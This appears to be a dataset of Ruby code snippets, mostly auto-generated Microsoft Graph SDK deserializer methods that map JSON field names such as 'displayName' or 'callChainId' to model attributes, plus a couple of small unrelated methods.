"def get_field_deserializers()\n return super.merge({\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"isCourseActivitySyncEnabled\" => lambda {|n| @is_course_activity_sync_enabled = n.get_boolean_value() },\n \"learningContents\" => lambda {|n| @learning_contents = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::LearningContent.create_from_discriminator_value(pn) }) },\n \"learningCourseActivities\" => lambda {|n| @learning_course_activities = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::LearningCourseActivity.create_from_discriminator_value(pn) }) },\n \"loginWebUrl\" => lambda {|n| @login_web_url = n.get_string_value() },\n \"longLogoWebUrlForDarkTheme\" => lambda {|n| @long_logo_web_url_for_dark_theme = n.get_string_value() },\n \"longLogoWebUrlForLightTheme\" => lambda {|n| @long_logo_web_url_for_light_theme = n.get_string_value() },\n \"squareLogoWebUrlForDarkTheme\" => lambda {|n| @square_logo_web_url_for_dark_theme = n.get_string_value() },\n \"squareLogoWebUrlForLightTheme\" => lambda {|n| @square_logo_web_url_for_light_theme = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return {\n \"itemId\" => lambda {|n| @item_id = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"title\" => lambda {|n| @title = n.get_string_value() },\n \"versionId\" => lambda {|n| @version_id = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return {\n \"buildNumber\" => lambda {|n| @build_number = n.get_string_value() },\n \"bundleId\" => lambda {|n| @bundle_id = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"versionNumber\" => lambda {|n| @version_number = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return super.merge({\n \"parentNotebook\" => lambda {|n| @parent_notebook = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Notebook.create_from_discriminator_value(pn) }) },\n \"parentSectionGroup\" => lambda {|n| @parent_section_group = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SectionGroup.create_from_discriminator_value(pn) }) },\n \"sectionGroups\" => lambda {|n| @section_groups = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::SectionGroup.create_from_discriminator_value(pn) }) },\n \"sectionGroupsUrl\" => lambda {|n| @section_groups_url = n.get_string_value() },\n \"sections\" => lambda {|n| @sections = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::OnenoteSection.create_from_discriminator_value(pn) }) },\n \"sectionsUrl\" => lambda {|n| @sections_url = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"appDisplayName\" => lambda {|n| @app_display_name = n.get_string_value() },\n \"dataType\" => lambda {|n| @data_type = n.get_string_value() },\n \"isSyncedFromOnPremises\" => lambda {|n| @is_synced_from_on_premises = n.get_boolean_value() },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"targetObjects\" => lambda {|n| @target_objects = n.get_collection_of_primitive_values(String) },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"detectionStatus\" => lambda {|n| @detection_status = n.get_enum_value(MicrosoftGraph::Models::SecurityDetectionStatus) },\n \"imageFile\" => lambda {|n| @image_file = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SecurityFileDetails.create_from_discriminator_value(pn) }) },\n \"mdeDeviceId\" => lambda {|n| @mde_device_id = n.get_string_value() },\n \"parentProcessCreationDateTime\" => lambda {|n| @parent_process_creation_date_time = n.get_date_time_value() },\n \"parentProcessId\" => lambda {|n| @parent_process_id = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"parentProcessImageFile\" => lambda {|n| @parent_process_image_file = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SecurityFileDetails.create_from_discriminator_value(pn) }) },\n \"processCommandLine\" => lambda {|n| @process_command_line = n.get_string_value() },\n \"processCreationDateTime\" => lambda {|n| @process_creation_date_time = n.get_date_time_value() },\n \"processId\" => lambda {|n| @process_id = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"userAccount\" => lambda {|n| @user_account = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SecurityUserAccount.create_from_discriminator_value(pn) }) },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"clientContext\" => lambda {|n| @client_context = n.get_string_value() },\n \"resultInfo\" => lambda {|n| @result_info = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ResultInfo.create_from_discriminator_value(pn) }) },\n \"status\" => lambda {|n| @status = n.get_enum_value(MicrosoftGraph::Models::OperationStatus) },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"completedDateTime\" => lambda {|n| @completed_date_time = n.get_date_time_value() },\n \"progress\" => lambda {|n| @progress = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"status\" => lambda {|n| @status = n.get_enum_value(MicrosoftGraph::Models::DataPolicyOperationStatus) },\n \"storageLocation\" => lambda {|n| @storage_location = n.get_string_value() },\n \"submittedDateTime\" => lambda {|n| @submitted_date_time = n.get_date_time_value() },\n \"userId\" => lambda {|n| @user_id = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return {\n \"completedUnits\" => lambda {|n| @completed_units = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"progressObservationDateTime\" => lambda {|n| @progress_observation_date_time = n.get_date_time_value() },\n \"totalUnits\" => lambda {|n| @total_units = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"units\" => lambda {|n| @units = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return {\n \"description\" => lambda {|n| @description = n.get_string_value() },\n \"details\" => lambda {|n| @details = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::DetailsInfo.create_from_discriminator_value(pn) }) },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"provisioningStepType\" => lambda {|n| @provisioning_step_type = n.get_enum_value(MicrosoftGraph::Models::ProvisioningStepType) },\n \"status\" => lambda {|n| @status = n.get_enum_value(MicrosoftGraph::Models::ProvisioningResult) },\n }\n end",
"def get_field_deserializers()\n return super.merge({\n \"downloadUri\" => lambda {|n| @download_uri = n.get_string_value() },\n \"expirationDateTime\" => lambda {|n| @expiration_date_time = n.get_date_time_value() },\n \"fulfilledDateTime\" => lambda {|n| @fulfilled_date_time = n.get_date_time_value() },\n \"reviewHistoryPeriodEndDateTime\" => lambda {|n| @review_history_period_end_date_time = n.get_date_time_value() },\n \"reviewHistoryPeriodStartDateTime\" => lambda {|n| @review_history_period_start_date_time = n.get_date_time_value() },\n \"runDateTime\" => lambda {|n| @run_date_time = n.get_date_time_value() },\n \"status\" => lambda {|n| @status = n.get_enum_value(MicrosoftGraph::Models::AccessReviewHistoryStatus) },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"check32BitOn64System\" => lambda {|n| @check32_bit_on64_system = n.get_boolean_value() },\n \"comparisonValue\" => lambda {|n| @comparison_value = n.get_string_value() },\n \"fileOrFolderName\" => lambda {|n| @file_or_folder_name = n.get_string_value() },\n \"operationType\" => lambda {|n| @operation_type = n.get_enum_value(MicrosoftGraph::Models::Win32LobAppFileSystemOperationType) },\n \"operator\" => lambda {|n| @operator = n.get_enum_value(MicrosoftGraph::Models::Win32LobAppRuleOperator) },\n \"path\" => lambda {|n| @path = n.get_string_value() },\n })\n end",
"def read_object\n if @version == 0\n return amf0_deserialize\n else\n return amf3_deserialize\n end\n end",
"def get_field_deserializers()\n return {\n \"destinationFileName\" => lambda {|n| @destination_file_name = n.get_string_value() },\n \"sourceFile\" => lambda {|n| @source_file = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ItemReference.create_from_discriminator_value(pn) }) },\n }\n end",
"def get_field_deserializers()\n return {\n \"newText\" => lambda {|n| @new_text = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"numBytes\" => lambda {|n| @num_bytes = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"oldText\" => lambda {|n| @old_text = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"startNum\" => lambda {|n| @start_num = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n }\n end",
"def get_field_deserializers()\n return super.merge({\n \"audioDeviceName\" => lambda {|n| @audio_device_name = n.get_string_value() },\n \"bookingType\" => lambda {|n| @booking_type = n.get_enum_value(MicrosoftGraph::Models::BookingType) },\n \"building\" => lambda {|n| @building = n.get_string_value() },\n \"capacity\" => lambda {|n| @capacity = n.get_number_value() },\n \"displayDeviceName\" => lambda {|n| @display_device_name = n.get_string_value() },\n \"emailAddress\" => lambda {|n| @email_address = n.get_string_value() },\n \"floorLabel\" => lambda {|n| @floor_label = n.get_string_value() },\n \"floorNumber\" => lambda {|n| @floor_number = n.get_number_value() },\n \"isWheelChairAccessible\" => lambda {|n| @is_wheel_chair_accessible = n.get_boolean_value() },\n \"label\" => lambda {|n| @label = n.get_string_value() },\n \"nickname\" => lambda {|n| @nickname = n.get_string_value() },\n \"tags\" => lambda {|n| @tags = n.get_collection_of_primitive_values(String) },\n \"videoDeviceName\" => lambda {|n| @video_device_name = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return {\n \"id\" => lambda {|n| @id = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"targetType\" => lambda {|n| @target_type = n.get_enum_value(MicrosoftGraph::Models::FeatureTargetType) },\n }\n end",
"def get_field_deserializers()\n return super.merge({\n \"deviceCount\" => lambda {|n| @device_count = n.get_number_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"managedDevices\" => lambda {|n| @managed_devices = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::ManagedDevice.create_from_discriminator_value(pn) }) },\n \"platform\" => lambda {|n| @platform = n.get_enum_value(MicrosoftGraph::Models::DetectedAppPlatformType) },\n \"publisher\" => lambda {|n| @publisher = n.get_string_value() },\n \"sizeInByte\" => lambda {|n| @size_in_byte = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"version\" => lambda {|n| @version = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"activationUrl\" => lambda {|n| @activation_url = n.get_string_value() },\n \"activitySourceHost\" => lambda {|n| @activity_source_host = n.get_string_value() },\n \"appActivityId\" => lambda {|n| @app_activity_id = n.get_string_value() },\n \"appDisplayName\" => lambda {|n| @app_display_name = n.get_string_value() },\n \"contentInfo\" => lambda {|n| @content_info = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"contentUrl\" => lambda {|n| @content_url = n.get_string_value() },\n \"createdDateTime\" => lambda {|n| @created_date_time = n.get_date_time_value() },\n \"expirationDateTime\" => lambda {|n| @expiration_date_time = n.get_date_time_value() },\n \"fallbackUrl\" => lambda {|n| @fallback_url = n.get_string_value() },\n \"historyItems\" => lambda {|n| @history_items = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::ActivityHistoryItem.create_from_discriminator_value(pn) }) },\n \"lastModifiedDateTime\" => lambda {|n| @last_modified_date_time = n.get_date_time_value() },\n \"status\" => lambda {|n| @status = n.get_enum_value(MicrosoftGraph::Models::Status) },\n \"userTimezone\" => lambda {|n| @user_timezone = n.get_string_value() },\n \"visualElements\" => lambda {|n| @visual_elements = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::VisualInfo.create_from_discriminator_value(pn) }) },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"category\" => lambda {|n| @category = n.get_string_value() },\n \"firstSeenDateTime\" => lambda {|n| @first_seen_date_time = n.get_date_time_value() },\n \"host\" => lambda {|n| @host = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SecurityHost.create_from_discriminator_value(pn) }) },\n \"lastSeenDateTime\" => lambda {|n| @last_seen_date_time = n.get_date_time_value() },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"version\" => lambda {|n| @version = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return {\n \"deviceCount\" => lambda {|n| @device_count = n.get_number_value() },\n \"lastUpdateDateTime\" => lambda {|n| @last_update_date_time = n.get_date_time_value() },\n \"malwareIdentifier\" => lambda {|n| @malware_identifier = n.get_string_value() },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return {\n \"lastActionDateTime\" => lambda {|n| @last_action_date_time = n.get_date_time_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"operation\" => lambda {|n| @operation = n.get_string_value() },\n \"status\" => lambda {|n| @status = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return super.merge({\n \"details\" => lambda {|n| @details = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::DetailsInfo.create_from_discriminator_value(pn) }) },\n \"identityType\" => lambda {|n| @identity_type = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return {\n \"dataLocationCode\" => lambda {|n| @data_location_code = n.get_string_value() },\n \"hostname\" => lambda {|n| @hostname = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"root\" => lambda {|n| @root = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Root.create_from_discriminator_value(pn) }) },\n }\n end",
"def get_field_deserializers()\n return {\n \"address\" => lambda {|n| @address = n.get_string_value() },\n \"itemId\" => lambda {|n| @item_id = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"relevanceScore\" => lambda {|n| @relevance_score = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n \"selectionLikelihood\" => lambda {|n| @selection_likelihood = n.get_enum_value(MicrosoftGraph::Models::SelectionLikelihoodInfo) },\n }\n end",
"def get_field_deserializers()\n return {\n \"hashes\" => lambda {|n| @hashes = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Hashes.create_from_discriminator_value(pn) }) },\n \"mimeType\" => lambda {|n| @mime_type = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"processingMetadata\" => lambda {|n| @processing_metadata = n.get_boolean_value() },\n }\n end",
"def get_field_deserializers()\n return super.merge({\n \"configurationVersion\" => lambda {|n| @configuration_version = n.get_number_value() },\n \"errorCount\" => lambda {|n| @error_count = n.get_number_value() },\n \"failedCount\" => lambda {|n| @failed_count = n.get_number_value() },\n \"lastUpdateDateTime\" => lambda {|n| @last_update_date_time = n.get_date_time_value() },\n \"notApplicableCount\" => lambda {|n| @not_applicable_count = n.get_number_value() },\n \"pendingCount\" => lambda {|n| @pending_count = n.get_number_value() },\n \"successCount\" => lambda {|n| @success_count = n.get_number_value() },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"format\" => lambda {|n| @format = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::WorkbookChartDataLabelFormat.create_from_discriminator_value(pn) }) },\n \"position\" => lambda {|n| @position = n.get_string_value() },\n \"separator\" => lambda {|n| @separator = n.get_string_value() },\n \"showBubbleSize\" => lambda {|n| @show_bubble_size = n.get_boolean_value() },\n \"showCategoryName\" => lambda {|n| @show_category_name = n.get_boolean_value() },\n \"showLegendKey\" => lambda {|n| @show_legend_key = n.get_boolean_value() },\n \"showPercentage\" => lambda {|n| @show_percentage = n.get_boolean_value() },\n \"showSeriesName\" => lambda {|n| @show_series_name = n.get_boolean_value() },\n \"showValue\" => lambda {|n| @show_value = n.get_boolean_value() },\n })\n end",
"def get_field_deserializers()\n return {\n \"errorDetails\" => lambda {|n| @error_details = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::GenericError.create_from_discriminator_value(pn) }) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"sourceId\" => lambda {|n| @source_id = n.get_string_value() },\n \"targetId\" => lambda {|n| @target_id = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return {\n \"contentSource\" => lambda {|n| @content_source = n.get_string_value() },\n \"hitId\" => lambda {|n| @hit_id = n.get_string_value() },\n \"isCollapsed\" => lambda {|n| @is_collapsed = n.get_boolean_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"rank\" => lambda {|n| @rank = n.get_number_value() },\n \"resource\" => lambda {|n| @resource = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Entity.create_from_discriminator_value(pn) }) },\n \"resultTemplateId\" => lambda {|n| @result_template_id = n.get_string_value() },\n \"summary\" => lambda {|n| @summary = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return super.merge({\n \"assignedUserPrincipalName\" => lambda {|n| @assigned_user_principal_name = n.get_string_value() },\n \"groupTag\" => lambda {|n| @group_tag = n.get_string_value() },\n \"hardwareIdentifier\" => lambda {|n| @hardware_identifier = n.get_object_value(lambda {|pn| Base64url.create_from_discriminator_value(pn) }) },\n \"importId\" => lambda {|n| @import_id = n.get_string_value() },\n \"productKey\" => lambda {|n| @product_key = n.get_string_value() },\n \"serialNumber\" => lambda {|n| @serial_number = n.get_string_value() },\n \"state\" => lambda {|n| @state = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ImportedWindowsAutopilotDeviceIdentityState.create_from_discriminator_value(pn) }) },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"audioRoutingGroups\" => lambda {|n| @audio_routing_groups = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::AudioRoutingGroup.create_from_discriminator_value(pn) }) },\n \"callChainId\" => lambda {|n| @call_chain_id = n.get_string_value() },\n \"callOptions\" => lambda {|n| @call_options = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::CallOptions.create_from_discriminator_value(pn) }) },\n \"callRoutes\" => lambda {|n| @call_routes = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::CallRoute.create_from_discriminator_value(pn) }) },\n \"callbackUri\" => lambda {|n| @callback_uri = n.get_string_value() },\n \"chatInfo\" => lambda {|n| @chat_info = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ChatInfo.create_from_discriminator_value(pn) }) },\n \"contentSharingSessions\" => lambda {|n| @content_sharing_sessions = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::ContentSharingSession.create_from_discriminator_value(pn) }) },\n \"direction\" => lambda {|n| @direction = n.get_enum_value(MicrosoftGraph::Models::CallDirection) },\n \"incomingContext\" => lambda {|n| @incoming_context = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::IncomingContext.create_from_discriminator_value(pn) }) },\n \"mediaConfig\" => lambda {|n| @media_config = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::MediaConfig.create_from_discriminator_value(pn) }) },\n \"mediaState\" => lambda {|n| @media_state = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::CallMediaState.create_from_discriminator_value(pn) }) },\n \"meetingInfo\" => lambda {|n| @meeting_info = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::MeetingInfo.create_from_discriminator_value(pn) }) },\n \"myParticipantId\" => lambda {|n| @my_participant_id = n.get_string_value() },\n \"operations\" => lambda {|n| @operations = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::CommsOperation.create_from_discriminator_value(pn) }) },\n \"participants\" => lambda {|n| @participants = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::Participant.create_from_discriminator_value(pn) }) },\n \"requestedModalities\" => lambda {|n| @requested_modalities = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::Modality.create_from_discriminator_value(pn) }) },\n \"resultInfo\" => lambda {|n| @result_info = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ResultInfo.create_from_discriminator_value(pn) }) },\n \"source\" => lambda {|n| @source = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ParticipantInfo.create_from_discriminator_value(pn) }) },\n \"state\" => lambda {|n| @state = n.get_enum_value(MicrosoftGraph::Models::CallState) },\n \"subject\" => lambda {|n| @subject = n.get_string_value() },\n \"targets\" => lambda {|n| @targets = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::InvitationParticipantInfo.create_from_discriminator_value(pn) }) },\n \"tenantId\" => lambda {|n| @tenant_id = n.get_string_value() },\n \"toneInfo\" => lambda {|n| @tone_info = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ToneInfo.create_from_discriminator_value(pn) }) },\n \"transcription\" => lambda {|n| @transcription = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::CallTranscriptionInfo.create_from_discriminator_value(pn) }) },\n })\n end",
"def get_field_deserializers()\n return {\n \"externalId\" => lambda {|n| @external_id = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"teacherNumber\" => lambda {|n| @teacher_number = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return {\n \"customKeyIdentifier\" => lambda {|n| @custom_key_identifier = n.get_object_value(lambda {|pn| Base64url.create_from_discriminator_value(pn) }) },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"endDateTime\" => lambda {|n| @end_date_time = n.get_date_time_value() },\n \"key\" => lambda {|n| @key = n.get_object_value(lambda {|pn| Base64url.create_from_discriminator_value(pn) }) },\n \"keyId\" => lambda {|n| @key_id = n.get_guid_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"startDateTime\" => lambda {|n| @start_date_time = n.get_date_time_value() },\n \"thumbprint\" => lambda {|n| @thumbprint = n.get_string_value() },\n \"type\" => lambda {|n| @type = n.get_string_value() },\n \"usage\" => lambda {|n| @usage = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return {\n \"allowMultipleLines\" => lambda {|n| @allow_multiple_lines = n.get_boolean_value() },\n \"appendChangesToExistingText\" => lambda {|n| @append_changes_to_existing_text = n.get_boolean_value() },\n \"linesForEditing\" => lambda {|n| @lines_for_editing = n.get_number_value() },\n \"maxLength\" => lambda {|n| @max_length = n.get_number_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"textType\" => lambda {|n| @text_type = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return {\n \"assignCategories\" => lambda {|n| @assign_categories = n.get_collection_of_primitive_values(String) },\n \"copyToFolder\" => lambda {|n| @copy_to_folder = n.get_string_value() },\n \"delete\" => lambda {|n| @delete = n.get_boolean_value() },\n \"forwardAsAttachmentTo\" => lambda {|n| @forward_as_attachment_to = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::Recipient.create_from_discriminator_value(pn) }) },\n \"forwardTo\" => lambda {|n| @forward_to = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::Recipient.create_from_discriminator_value(pn) }) },\n \"markAsRead\" => lambda {|n| @mark_as_read = n.get_boolean_value() },\n \"markImportance\" => lambda {|n| @mark_importance = n.get_enum_value(MicrosoftGraph::Models::Importance) },\n \"moveToFolder\" => lambda {|n| @move_to_folder = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"permanentDelete\" => lambda {|n| @permanent_delete = n.get_boolean_value() },\n \"redirectTo\" => lambda {|n| @redirect_to = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::Recipient.create_from_discriminator_value(pn) }) },\n \"stopProcessingRules\" => lambda {|n| @stop_processing_rules = n.get_boolean_value() },\n }\n end",
"def get_field_deserializers()\n return {\n \"acceptMappedClaims\" => lambda {|n| @accept_mapped_claims = n.get_boolean_value() },\n \"knownClientApplications\" => lambda {|n| @known_client_applications = n.get_collection_of_primitive_values(UUIDTools::UUID) },\n \"oauth2PermissionScopes\" => lambda {|n| @oauth2_permission_scopes = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PermissionScope.create_from_discriminator_value(pn) }) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"preAuthorizedApplications\" => lambda {|n| @pre_authorized_applications = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PreAuthorizedApplication.create_from_discriminator_value(pn) }) },\n \"requestedAccessTokenVersion\" => lambda {|n| @requested_access_token_version = n.get_number_value() },\n }\n end",
"def get_field_deserializers()\n return super.merge({\n \"content\" => lambda {|n| @content = n.get_object_value(lambda {|pn| Base64url.create_from_discriminator_value(pn) }) },\n \"contentUrl\" => lambda {|n| @content_url = n.get_string_value() },\n \"createdByAppId\" => lambda {|n| @created_by_app_id = n.get_string_value() },\n \"lastModifiedDateTime\" => lambda {|n| @last_modified_date_time = n.get_date_time_value() },\n \"level\" => lambda {|n| @level = n.get_number_value() },\n \"links\" => lambda {|n| @links = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::PageLinks.create_from_discriminator_value(pn) }) },\n \"order\" => lambda {|n| @order = n.get_number_value() },\n \"parentNotebook\" => lambda {|n| @parent_notebook = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Notebook.create_from_discriminator_value(pn) }) },\n \"parentSection\" => lambda {|n| @parent_section = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::OnenoteSection.create_from_discriminator_value(pn) }) },\n \"title\" => lambda {|n| @title = n.get_string_value() },\n \"userTags\" => lambda {|n| @user_tags = n.get_collection_of_primitive_values(String) },\n })\n end",
"def get_field_deserializers()\n return {\n \"failedRuns\" => lambda {|n| @failed_runs = n.get_number_value() },\n \"failedTasks\" => lambda {|n| @failed_tasks = n.get_number_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"successfulRuns\" => lambda {|n| @successful_runs = n.get_number_value() },\n \"totalRuns\" => lambda {|n| @total_runs = n.get_number_value() },\n \"totalTasks\" => lambda {|n| @total_tasks = n.get_number_value() },\n \"totalUsers\" => lambda {|n| @total_users = n.get_number_value() },\n }\n end",
"def get_field_deserializers()\n return {\n \"description\" => lambda {|n| @description = n.get_string_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"id\" => lambda {|n| @id = n.get_guid_value() },\n \"isEnabled\" => lambda {|n| @is_enabled = n.get_boolean_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"value\" => lambda {|n| @value = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return {\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"recommendedActions\" => lambda {|n| @recommended_actions = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::RecommendedAction.create_from_discriminator_value(pn) }) },\n \"resolvedTargetsCount\" => lambda {|n| @resolved_targets_count = n.get_number_value() },\n \"simulationEventsContent\" => lambda {|n| @simulation_events_content = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SimulationEventsContent.create_from_discriminator_value(pn) }) },\n \"trainingEventsContent\" => lambda {|n| @training_events_content = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::TrainingEventsContent.create_from_discriminator_value(pn) }) },\n }\n end",
"def get_field_deserializers()\n return {\n \"customKeyIdentifier\" => lambda {|n| @custom_key_identifier = n.get_object_value(lambda {|pn| Base64url.create_from_discriminator_value(pn) }) },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"endDateTime\" => lambda {|n| @end_date_time = n.get_date_time_value() },\n \"hint\" => lambda {|n| @hint = n.get_string_value() },\n \"keyId\" => lambda {|n| @key_id = n.get_guid_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"secretText\" => lambda {|n| @secret_text = n.get_string_value() },\n \"startDateTime\" => lambda {|n| @start_date_time = n.get_date_time_value() },\n }\n end",
"def get_field_deserializers()\n return {\n \"isRequired\" => lambda {|n| @is_required = n.get_boolean_value() },\n \"locations\" => lambda {|n| @locations = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::LocationConstraintItem.create_from_discriminator_value(pn) }) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"suggestLocation\" => lambda {|n| @suggest_location = n.get_boolean_value() },\n }\n end",
"def get_field_deserializers()\n return {\n \"activityType\" => lambda {|n| @activity_type = n.get_string_value() },\n \"chainId\" => lambda {|n| @chain_id = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"previewText\" => lambda {|n| @preview_text = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ItemBody.create_from_discriminator_value(pn) }) },\n \"recipient\" => lambda {|n| @recipient = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::TeamworkNotificationRecipient.create_from_discriminator_value(pn) }) },\n \"templateParameters\" => lambda {|n| @template_parameters = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::KeyValuePair.create_from_discriminator_value(pn) }) },\n \"topic\" => lambda {|n| @topic = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::TeamworkActivityTopic.create_from_discriminator_value(pn) }) },\n }\n end",
"def metadata\n self.class.metadata\n end",
